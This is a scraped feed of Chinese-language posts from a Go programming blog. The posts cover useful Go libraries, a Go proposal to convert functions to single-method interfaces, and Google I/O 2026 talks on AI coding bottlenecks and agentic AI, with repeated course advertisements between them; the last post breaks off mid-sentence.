cfg := ServerConfig{} if err := env.Parse(\u0026amp;cfg); err != nil { // 一步完成类型转换、默认值注入和必填校验 log.Fatal(err) } 优雅的 CLI 构造器：alecthomas/kong（告别 Cobra 的臃肿） 解决痛点：Cobra 虽有名，但代码生成量巨大，API 极其复杂，对轻量级 CLI 工具来说显得有些喧宾夺主。 神仙之处：kong 采用“声明式”设计，你只需要定义一个 Go 结构体，它就会自动为你生成命令行解析、子命令路由和极其美观的 –help 自动生成。 实操场景： var CLI struct { Ping struct { Host string help:\u0026#34;Host to ping.\u0026#34; required:\u0026#34;\u0026#34; } cmd:\u0026#34;\u0026#34; help:\u0026#34;Ping a host.\u0026#34; } ctx := kong.Parse(\u0026amp;CLI) // 根据子命令自动路由，结构极其清晰 数据库版本控制：pressly/goose（丝滑的数据库迁移） 解决痛点：在团队协作中，数据库 Schema 的变更同步和回滚往往非常混乱。 神仙之处：goose 支持用纯 SQL 或 Go 代码编写迁移脚本，完美支持向前/向后（Up/Down）版本控制，能无缝嵌入到 CI/CD 流程中。 实操场景： 在终端中简单执行：\n# 使用环境变量方式（更简洁） # 创建一个迁移文件 # 在生成的 sql 文件中写入 DDL，运行 goose up 即可安全升级 GOOSE_DRIVER=postgres GOOSE_DBSTRING=\u0026#34;postgres://user:pass@localhost/dbname\u0026#34; \\ goose create add_users_table sql # 或完整传参方式 goose postgres \u0026#34;postgres://user:pass@localhost/dbname\u0026#34; create add_users_table sql 摆脱 Makefile：go-task/task (Taskfile)（跨平台任务编排） 解决痛点：Makefile 语法晦涩且多平台不兼容，在 Windows 平台上的支持体验较差。 神仙之处：task（Taskfile）使用直观的 YAML 语法，跨平台通用，支持任务依赖分析、条件执行和极佳的终端输出。 实操场景： 在根目录下编写 Taskfile.yml：\nversion: \u0026#39;3\u0026#39; tasks: build: desc: Build the go binary cmds: - go build -o myapp main.go test: desc: Run unit tests cmds: - go test -v ./... 热重载神器：air-verse/air（让本地开发如丝般顺滑） 解决痛点：每次修改 Go 代码后，都需要手动在终端执行 Ctrl+C 然后重新编译运行，严重打断开发心流。 神仙之处：air 监听项目目录的文件变动，在后台自动、极速地重新编译并运行，带给 Go 开发者不亚于前端热更新的实时反馈体验。 实操场景： 在项目根目录直接输入：\nair 从此放开双手，专注于代码的编写，保存即生效。\n2026年Go开发者的“神仙套包”黄金搭配图 小结 Go 生态的发展，是一个**从“迷信全家桶大框架”回归到“小而美精细化拼装”**的过程。\n这 10 个神仙级 QoL 工具包，没有任何一个是试图颠覆 Go 语言设计哲学的。相反，它们都像一块块精密的齿轮，严丝合缝地扣在标准库周围，默默地为你扫清开发路上的琐碎障碍。\n用最克制的框架，写最健壮的代码。这，才是 2026 年写 Go 该有的风骨。\n资料链接：https://www.reddit.com/r/golang/comments/1tryel9/im_new_to_golang_which_are_the_quality_of_life/\n今日开放讨论\n在这 10 个神仙级 QoL 包中，你已经在生产环境使用了哪几个？哪个工具最能提升你的开发“幸福感”？ 在 ORM 选型上，你更青睐传统的 GORM、Ent，还是文中推荐的、编译期安全的 sqlc？为什么？ 你觉得 Go 官方未来应该把今天提到的哪个包（如 testify 的 assert 功能）直接吸送到标准库中？ 欢迎在评论区分享你的实战经验与深度见解，让我们一起精进代码品味！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/03/10-god-tier-go-qol-libraries-to-use-in-2026/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/10-god-tier-go-qol-libraries-to-use-in-2026-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/03/10-god-tier-go-qol-libraries-to-use-in-2026\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/03/10-god-tier-go-qol-libraries-to-use-in-2026\"\u003ehttps://tonybai.com/2026/06/03/10-god-tier-go-qol-libraries-to-use-in-2026\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程中，有一个词叫 \u003cstrong\u003eQoL（Quality of Life，生产体验/开发幸福感）\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003eGo语言（Golang）凭借极简的语法、强悍的并发能力和超快的编译速度，成为了现代后端和云原生的绝对主力。但坦率地说，Go在某些时候的开发体验并不算完美：为了坚持“显式优于隐式”的原则，我们不得不手写大量的样板代码（Boilerplate），甚至在处理路由、数据库迁移、环境配置时，常常感到有些繁琐。\u003c/p\u003e","title":"Go 生态17年大浪淘沙：2026年最值得引入的10个“神仙级”QoL工具包"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/02/no-more-boilerplate-go-proposal-function-to-interface-conversion\n大家好，我是Tony Bai。\n在 Go 语言日常开发中，有一个设计几乎人人写过，但写多了又让人觉得极其繁琐、甚至有些“脱裤子放屁”的样板代码。\n假设你需要一个只读数据的 io.Reader，但它的行为非常简单（比如只是为了在测试里模拟数据），你通常需要这样写：\ntype ReaderFunc func(p []byte) (n int, err error) func (f ReaderFunc) Read(p []byte) (n int, err error) { return f(p) } 紧接着，在代码中通过 io.Reader(ReaderFunc(myFunc)) 进行双重套娃调用。\n这种设计被称为 “适配器型定义”（如标准库中的 http.HandlerFunc）。虽然它工作得很好，但如果每个包都需要针对自己的单方法接口（Single-method Interface）定义一遍这种暖场代码，整个项目就会充斥着大量无意义的样板代码（Boilerplate）。\n为了终结这个痛点，Go 语言的积极贡献者 Merovius 提交了一项提案——Issue #47487：允许将函数显式转换为单方法接口。\n目前，该提案已被列为Active状态，并有了原型实现（CL 572835）。它不仅能让 Go 代码的清爽度提升一个量级，更是对 Go 语言底层类型系统的一次精妙微调。\n痛点拷问：为什么我们讨厌“套娃”代码？ 在复杂的微服务或系统级开发中，我们经常需要临时“包装”一些行为。比如，你想设计一个 io.Writer，用来统计实际写入了多少个字节：\n// 传统写法：你需要定义一个专门的结构体 type countingWriter struct { w io.Writer n int64 } func (w *countingWriter) Write(p []byte) (n int, err error) { n, err = w.w.Write(p) w.n += int64(n) return n, err } func main() { cw := \u0026amp;countingWriter{w: os.Stdout} // 写入数据到 cw fmt.Println(cw.n, \u0026#34;bytes written\u0026#34;) } 为了实现一个简单的计数逻辑，你被迫写了十多行结构体和方法定义。更糟糕的是，这破坏了内聚性——countingWriter 往往只用一次，却污染了整个包的命名空间。\n现在，看看新提案下，利用闭包（Closure）和函数转接口后的极致美学：\nfunc main() { var N int64 // 核心：直接把匿名函数转换为 io.Writer 接口！ cw := io.Writer(func(p []byte) (n int, err error) { n, err = os.Stdout.Write(p) N += int64(n) return n, err }) // 写入数据到 cw fmt.Println(N, \u0026#34;bytes written\u0026#34;) } 对比极其鲜明：代码行数缩减了一半，状态逻辑（N）被完美锁死在当前函数作用域内，没有任何多余的结构体命名，逻辑高内聚。\n方案博弈：为什么是显式“类型转换”，而不是“自动赋值”？ 其实，社区早在几年前就提过更激进的提案（#21670）：允许将函数直接、隐式地赋值给匹配的单方法接口（Assignability）。\n但是，该提案很快遭到了 Go 核心团队的否决，原因在于隐式赋值的二义性与安全隐患。\n最经典的例子：\nio.Reader 和 io.Writer 的核心方法，其函数签名是完全相同的：\nRead(p []byte) (n int, err error) Write(p []byte) (n int, err error) 如果允许隐式赋值，当你写下 var x = func(p []byte) (int, error) { … } 时，编译器根本无法得知你这个函数到底是一个“读者”还是一个“写者”。\n为了守护 Go 语言类型安全、意图清晰的底层哲学，#47487 采取了折中但极度务实的路线：要求必须进行显式类型转换（Convertibility）。\n// 必须显式声明你要转换成什么接口 r := io.Reader(myFunc) w := io.Writer(myFunc) 程序员必须显式、大声地告诉编译器：“我知道这个函数签名的含义，现在我要把它当做 Reader/Writer 来用。” 这完美规避了隐式匹配导致的逻辑混乱。\n编译器背后的魔法：如何处理反射与断言？ 这是一个看似简单的语法糖，但对 Go 编译器的底层设计提出了巨大的挑战。\n在 Go 语言的底层设计中，有一个坚不可摧的铁律：只有被定义（Defined）的类型才能携带方法，未命名类型（如普通的 func 类型）是没有方法集的。\n如果我们将一个普通的匿名函数转换为了 io.Reader 接口，当我们对这个接口进行反射（reflect.TypeOf）或类型断言时，底层的动态类型（Dynamic Type）到底是什么？\n为了解决这个“Trilemma（三难困境）”，Go 团队在原型 CL 572835 中展示了编译器的底层魔法：在编译期，自动生成虚拟的未导出类型。\n当你写下 io.Reader(func…) 时，Go 编译器会在幕后自动为你生成一个类似于 runtime.io_reader.func 或 runtime.autogenerated_xxx 的未导出定义类型。它拥有一个名为 Read 的方法，该方法在调用时会直接执行你传入的函数体。\n这种设计的精妙之处在于：\n完全向后兼容：不破坏任何既有反射代码的假设。 不破坏语法直觉：由于自动生成的类型是未导出的，用户无法对其进行电击治疗（比如无法直接对这个虚拟类型进行类型断言），从而保证了底层的干净。 官方自曝：标准库里到底有多少无用的“套娃”代码？ 在 Issue 的辩论中，Merovius 对 Go 语言的标准库进行了一次扫描，揭露了如果没有这个特性，标准库自己写得有多纠结：\n测试代码中的大量复制：在标准库测试中，存在大量为了测试 io.Reader、io.Writer、io.Closer 而定义的临时函数类型。 同名不同命的尴尬：在 net/http 包中，为了支持函数转换，居然定义了两个功能、签名完全一致，但由于在不同测试文件而名称不同的类型——funcWriter 和 writerFunc。 为了便利被迫暴露 API：因为没有原生语言支持，标准库不得不主动暴露出一些公共辅助类型，比如 net/http.HandlerFunc、cmd/go 内部的 ActorFunc、以及 x/mod 的 HashReaderFunc。 如果这项提案落地，标准库中数十个这样“脱裤子放屁”的适配器定义和重复代码，将在瞬间被全部清理干净。\n对于第三方库（如各类 mock 框架、测试断言库）来说，这也意味着繁琐的 Fake 实现可以被一键简化为极简的匿名函数传入。\n小结：这就是 Go 务实的进化美学 在 Issue #47487 漫长的拉锯战中，我们可以清晰地感受到 Go 团队在面对语言进化时的审慎。\nGo 从不轻易引入新的语法，每一次特性的加入，都要经历长达数年、多方视角的拷问与权衡。他们拒绝了不安全的隐式匹配，也拒绝了过于复杂的通用接口字面量，最终停在了一个**“用显式类型转换，在编译器内部生成虚拟类型”**的务实方案上。\n这正是 Go 语言长盛不衰的工程美学：宁可让语言显得有些“无聊”和“保守”，也绝不在运行时的安全性和可预测性上做出半步妥协。\n随着 CL 572835 原型的不断完善，我们有望在不久的将来，彻底告别写各种 HandlerFunc 的繁琐日常，让 Go 代码重新回归极致的清爽。\n资料链接：\nhttps://github.com/golang/go/issues/47487 https://go.dev/cl/572835 今日互动讨论：\n你赞同 Go 官方坚持使用“显式转换（Explicit Conversion）”而不是“隐式自动匹配（Implicit Assignability）”的设计吗？在你的日常项目中，有哪些单方法接口（如 http.Handler 或自定义业务处理器）能被这个新特性瞬间治愈？\n欢迎在评论区留下你的硬核见解，我们一起聊聊 Go 语言的演进之道！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/02/no-more-boilerplate-go-proposal-function-to-interface-conversion/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/no-more-boilerplate-go-proposal-function-to-interface-conversion-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/02/no-more-boilerplate-go-proposal-function-to-interface-conversion\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/02/no-more-boilerplate-go-proposal-function-to-interface-conversion\"\u003ehttps://tonybai.com/2026/06/02/no-more-boilerplate-go-proposal-function-to-interface-conversion\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言日常开发中，有一个设计几乎人人写过，但写多了又让人觉得极其繁琐、甚至有些“脱裤子放屁”的样板代码。\u003c/p\u003e\n\u003cp\u003e假设你需要一个只读数据的 io.Reader，但它的行为非常简单（比如只是为了在测试里模拟数据），你通常需要这样写：\u003c/p\u003e","title":"再见样板代码！Go 官方新提案：函数一键转接口"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/01/coding-10x-faster-isnt-10x-development-speed-google-ai-bottleneck\n大家好，我是Tony Bai。\n在过去的两年里，所有的开发者都在经历一场前所未有的“效率狂欢”。\n随着大语言模型（LLM）和编码智能体的突飞猛进，各种“一键生成应用”、“10倍速程序员”的口号不绝于耳。仿佛只要给 AI 喂一句自然语言，它就能吐出一个完美的架构。\n然而，在刚刚结束的 Google I/O 2026 大会上，Google 首席工程师 Adam Bender 用一场名为《Software engineering at the tipping point》（处于临界点的软件工程）的硬核演讲，狠狠地戳破了这个幻觉。\nAdam 在演讲中抛出了一个极其反直觉的观点：\n“能够 10 倍速地生成代码，绝对不等于你能成为 10 倍速的工程师。”\n如果你以为 AI 的引入只是让你的代码写得更快，那么你的团队、你的系统，甚至是你的职业生涯，都将在未来 18 个月内面临一场灭顶之灾。\n为什么？因为我们忽略了一个比代码更庞大、更脆弱的存在——软件生态系统（Software Ecology），即软件不仅仅是代码的堆砌，它是一个由代码、工具、流程和人类文化共同编织的复杂社会技术系统（Socio-technical system）。\n今天，我们就来深度拆解这场震撼硅谷的技术演讲，看看在 AI 洪流的冲击下，到底什么会被毁灭，什么又将成为我们不可替代的核心护城河。\n打破“代码崇拜”：你不仅在写代码，你在经营一个“生态系统” 在讨论 AI 之前，我们必须先认清一个残酷的现实：你的工作，并不是你想象的那样。\n很多开发者以为自己的工作就是“写代码”。但在一家现代科技公司里，写代码只占你工作的冰山一角。你真正的日常是：查阅文档、提交 PR、代码审查（Code Review）、等待 CI/CD 流水线构建、排查诡异的依赖冲突、以及参与无休止的架构撕逼会。\nAdam 在演讲中引入了一个极其关键的概念：社会技术系统（Socio-technical systems）。\n什么意思？就是说，你每天工作的环境，不仅仅是一堆没有感情的服务器和代码库（Technical），它还包括了活生生的人、组织的价值观、激励机制和沟通文化（Socio）。这两个部分紧密咬合，互相塑造。\n这就是大名鼎鼎的**康威定律（Conway’s Law）**所揭示的真理：“组织设计出的系统，其架构必然是该组织沟通结构的缩影。”\n如果你的公司极度强调“稳定和不背锅”，你的架构大概率会变成一堆厚重的微服务，每次发布都要层层审批；如果你的公司崇尚“敏捷和自治”，你的代码库可能就会像一棵野蛮生长的树。\n在这个庞大的“社会技术生态系统”中，你写下的每一行代码，都会引发整个系统的连锁反应。\n而现在，AI 这头狂野的巨兽，正在毫无顾忌地闯入这个脆弱的生态系统中。\n灾难推演：当 AI 将代码量放大 10 倍，你的系统会崩溃在哪一环？ AI 确实能当一个超级加速器（Amplifier）。它能给你更多的测试用例、更多的文档、更快的代码生成速度。\n但这正是问题所在。放大（Amplification）只是一个规模变量，它本身没有方向。 如果你的基础没打好，AI 放大的就不是生产力，而是纯粹的混乱（Confusion）。\n让我们做一次极其真实的沙盘推演：假设通过 AI 辅助，你们公司的代码产出量突然飙升了 10 倍。你会迎来乌托邦吗？不，你会迎来以下四个致命的连环崩溃：\n代码审查（Code Review）的瘫痪 如果你的团队突然多出了 10 倍的代码，谁来 Review？\n现在的 AI 很擅长写代码，但在大厂的架构中，它往往缺乏对全局业务上下文的长远理解。这意味着，如果你放任 AI 提交 PR，资深工程师（Tech Leads）将不得不花费海量的时间，去逐行审查那些看似能跑、但架构设计极其糟糕的代码。\n人类的注意力（Human Attention）是有限的，它将成为这场 10 倍速狂欢中最先熔断的瓶颈。\n编译时间（Build Time）的黑洞 更多的代码 = 更长的编译时间。\n你原本引以为傲的“每日部署（Daily Release）”，可能会因为代码库的急剧膨胀，导致一次完整的构建和集成测试需要跑上好几个小时。当你发现 CI/CD 永远在排队时，你还会觉得 AI 让你变快了吗？\n测试与验证的雪崩 你拥有了 10 倍的代码，同时 AI 也帮你生成了 10 倍的单元测试。\n但这不仅没有让你更安全，反而可能让你的系统陷入瘫痪。为什么？因为在庞大的依赖网络中，跑完数以百万计的测试需要极其恐怖的算力成本（Compute Cost）。\n更致命的是，如果你的发布标准是“必须所有测试通过”，那么在 100 万个测试中(注：这显然是指Google量级的代码库测试)，只要有一个 AI 生成的、带有微小偏差的测试用例失败（Flaky test），你的整个软件就无法发布。\n依赖地狱（Dependency Hell）的二次方爆炸 在一个代码库中，依赖关系的增长通常是**二次方（Quadratically）**的，而不是线性的。\n当代码库扩大 10 倍时，你的模块依赖冲突、版本不一致的问题将呈几何级数爆发。一个几十人的小团队，可能会突然陷入只有上千人规模的巨头公司才会遇到的“架构死锁”。\n下面是Adam Bender 展示的开发者生态系统节点互联图(Common developer ecosystem components):\n我们看到：牵一发而动全身！代码生成只是其中一个节点，当它的产出飙升 10 倍时，版本控制、代码审查、构建工具和测试环境将全部面临过载崩溃。\n破局法则：在 AI 时代，我们到底该关注什么？ 既然单纯的代码生成速度并不能拯救我们，甚至可能毁灭系统，那么作为开发者和技术管理者，我们在这个“临界点”到底应该做什么？\nAdam 的答案直指核心：重塑你的基础（Fundamentals）。\n在大模型席卷一切的今天，决定一家公司、一个开发团队生死存亡的，不再是你用了多么牛逼的提示词（Prompt），而是那些古老、枯燥、却不可或缺的软件工程常识：\n第一法则：打破盲目相信，重新定义测试策略 过去，我们追求极高的测试覆盖率。但在 AI 时代，你必须学会做减法。\n如果算力成本飙升，你不能再奢求每次提交都跑完所有测试。你需要建立基于统计学和智能分析的新型测试策略，精准找出“最需要跑的测试”，而不是盲目追求 100% 的全部绿色（All green）。\n第二法则：解耦，极致的解耦 为了防止 10 倍的代码量带来二次方爆炸的依赖冲突，你必须重新审视系统的架构。\n如果你依然在维护一个紧密耦合的“大单体（Monolith）”，AI 的加入只会加速它的腐烂。建立清晰的服务边界、强制的模块隔离（Isolation），是让 AI 代码能够安全落地的唯一容器。\n第三法则：保护人类的注意力（Human Attention） 不要让资深工程师沦为 AI 代码的“人肉校对机”。\n如果你决定用 AI 生成代码，那么你也必须用 AI 去优化审批流。但千万记住：AI 可以辅助 Review，但最终的架构权必须牢牢握在有经验的人类手里。\n第四法则：直面“共同命运（Shared Fate）” 在大型系统中，往往存在着牵一发而动全身的“共同命运（Shared Fate）”。比如，Google 的底层是一个庞大的单体仓库（Mono-repo），一次底层库的更新可能影响数十亿行代码。\n在 AI 时代，你要极度警惕这种过度绑定。当 AI 能够瞬间制造大规模变更时，你必须拥有**绝对可靠的回滚机制（Rollback）**和灰度发布策略。如果你不能在秒级回滚一个破坏性的系统变更，你就绝对不能允许 AI 拥有直接上线的权力。\n小结：谁将主宰未来的 10 年？ 这不仅是一场属于 Google 的布道，这是一份写给所有开发者的生存指南。\nAI 不会取代程序员，它只会无情地淘汰那些只会“翻译业务逻辑”的底层码农。\n在未来的十年里，最值钱的技能，将不再是你精通多少种编程语言的语法，也不再是你敲键盘的速度。\n最顶级的工程师，将是那些拥有**“系统级思维（Systems Thinking）”**的架构师：\n他们能够站在高处，俯瞰整个组织的技术与文化生态； 他们知道如何利用 AI 这个超级放大器，去构建那些曾经遥不可及的庞大系统； 他们更知道，在何处设置隔离墙、在何处切断依赖，以防止 AI 的狂飙突进反噬整个工程底座。 代码的海洋正在以前所未有的速度膨胀。在这个波澜壮阔的航海时代，大模型只是为你提供狂风的引擎。\n而能否避开暗礁、最终驶向那座名为“伟大产品”的彼岸，依然取决于握着达摩克利斯之剑的你——一个拥有智慧、直觉和系统大局观的人类工程师。\n资料链接：https://www.youtube.com/watch?v=2n41YjR5QfU\n今日互动探讨：\n如果你的团队明天代码产出量突然飙升 10 倍，你现有的 CI/CD 流水线和 Code Review 流程还能撑得住吗？你会优先改造哪个环节？\n欢迎在评论区分享你的“系统级防御”策略，我们一起交流 AI 时代的工程生存法则！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/01/coding-10x-faster-isnt-10x-development-speed-google-ai-bottleneck/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/coding-10x-faster-isnt-10x-development-speed-google-ai-bottleneck-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/01/coding-10x-faster-isnt-10x-development-speed-google-ai-bottleneck\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/01/coding-10x-faster-isnt-10x-development-speed-google-ai-bottleneck\"\u003ehttps://tonybai.com/2026/06/01/coding-10x-faster-isnt-10x-development-speed-google-ai-bottleneck\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去的两年里，所有的开发者都在经历一场前所未有的“效率狂欢”。\u003c/p\u003e\n\u003cp\u003e随着大语言模型（LLM）和编码智能体的突飞猛进，各种“一键生成应用”、“10倍速程序员”的口号不绝于耳。仿佛只要给 AI 喂一句自然语言，它就能吐出一个完美的架构。\u003c/p\u003e","title":"写代码快 10 倍，不等于研发快 10 倍！Google 揭秘 AI 系统级瓶颈"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/31/google-io-2026-defining-the-agentic-ai-era\n大家好，我是Tony Bai。\n在刚刚结束的 Google I/O 2026 第二天的主题论坛上，一场被称为“决定下一个十年科技走向”的圆桌会议拉开了帷幕。\n这场会议的阵容堪称奢华：\nJeff Dean：谷歌首席科学家，Gemini 联合负责人，硅谷传奇编译器与分布式系统大神。 Liz Reid：掌管着谷歌核心命脉——“谷歌搜索（Search）”的全球负责人。 Koray Kavukcuoglu：DeepMind 首席技术官（CTO）兼谷歌首席 AI 架构师。 Josh Woodard：Gemini 消费端应用、AI Studio 及 Google Labs 的掌舵人。 Google I/O 2026 圆桌会议现场图\n在这场高密度的技术对谈中，四位巨头向全球开发者宣布了一个极其震撼的行业共识：AI 已经全面跨入“智能体（Agent）时代”。而这个时代的到来，正在彻底瓦解并重构我们维系了数十年的软件开发范式与人机交互界面。\n大模型不再只是一个陪你聊天的对话框，而是演变成了能够 24/7 独立工作的“数字员工集群”。在这场波澜壮阔的变革中，软件工程、硬件设计乃至人类程序员的职业路径，都迎来了颠覆性的重塑。\n范式转移：从“同步对话框”到“异步任务控制中心（Mission Control）” 过去，我们使用计算机和 AI 的方式是**“同步”**的：你敲击键盘，期望系统在几毫秒或几秒内给出反馈。\n但当 Gemini 3.5 带着强大的长期推理（Long Horizon Reasoning）和多模态理解能力到来时，“人机交互的时延观”被彻底颠覆了。\n用户的“容忍时延”与任务价值成正比 搜索业务负责人 Liz 提出了一个非常新颖的系统设计理论：“用户的等待意愿，取决于你帮他省去了多少工作量。”\n如果用户只想查一个快速答案，你必须在几毫秒内闪电般响应； 但如果用户让你**“规划一个未来三周的度假行程、预订所有酒店并安排好行程单”**——这个任务原本需要人类花费 20 到 30 分钟。此时，即便 AI 需要在后台思考、调用工具、反复验证并运行整整 1 分钟，用户也会极其耐心地等待。 异步时代的“任务控制台” 基于这种时延观的变化，Josh 透露，Gemini 应用端正在全速部署名为 Gemini Spark 的 24/7 始终在线的 Agent 核心。\n它的行为模式完全是**“异步”**的：\n你可以给它设定触发器（Triggers）：“如果收到重要邮件，立刻自动在后台做完背景调查，写好回复草稿，但千万别替我发送（人类在环中）。” 它可以像一个虚拟秘书一样，每天早晨默默扫描你的日程表，然后主动提醒你：“今天有三个会毫无意义，我建议你取消，并且我已经帮你写好了体面的拒绝话术。” 在这样的时代，人机交互界面将不再是一个“输入-输出”的对话框，而是一个类似于 NASA 控制大厅（Mission Control）的“仪表盘”。 你在这里发布任务、观察 30 个虚拟实习生的工作进度，并在关键节点进行一键确认。\n杰夫·迪恩（Jeff Dean）的终极预言：软件将变得“即用即弃”（Ephemeral Software） 在整场对话中，最具思想穿透力的观点来自于 Jeff Dean 针对“软件本质”的工程哲学推演。\n在传统的软件工程里，由于“软件开发成本极高”，我们被迫采用“标准化”的策略——开发一套通用的 ERP、一套通用的日程表、一套通用的播放器，然后让全世界不同需求的人去削足适履地适应这套软件。\n但在 Agent 时代，这个商业逻辑将不复存在。\n“在未来，因为大模型可以进行超长周期的自主开发，你可以直接让 AI 针对你当下的特定、临时需求，去‘无中生有’地定制一套专属软件。”Jeff Dean 展望道。\n软件的“转瞬即逝性（Ephemerality）”：你告诉 Agent：“我今天想用这种特异的视觉格式整理我的财务报表。”Agent 会立刻在后台自动写出代码，编译运行，生成一个精美的、专属于你此时此刻使用的可视化管理后台。 用完即丢弃：你用完之后，直接把这套软件删掉。因为它的生成成本几乎为零。当下个月模型升级了，或者你有了新需求，直接让 AI 重新生成一套更好的。 什么是永恒的？：软件代码本身变成了转瞬即逝的消耗品，只有你的数据（Data）、你的业务上下文（Context）以及你调教 AI 的指令集，才是企业最核心、最需要被精心守护的资产。 机器速度（Machine Speed）对传统代码的清洗：一晚将 Python 翻译为 Go 当 Agent 的运行速度提升到极限时，系统工程师们遇到了全新的物理瓶颈——阿姆达尔定律（Amdahl’s law）的无情审判。\nJeff Dean 分享了一个谷歌内部刚刚发生的真实工程案例：\n大模型在调用外部工具时，其处理速度是极快的。但是，许多现有的内部工程工具当初是人类为了自己使用而用 Python 编写的。Python 缓慢的启动时间和运行时性能，在 Agent 进行高频并发调用时，成了最致命的堵塞点。\n“如果 AI 在工具调用上浪费了 50% 的时间，哪怕你的模型推理芯片（TPU）快到无限大，你的系统整体速度最多也只能提升 2 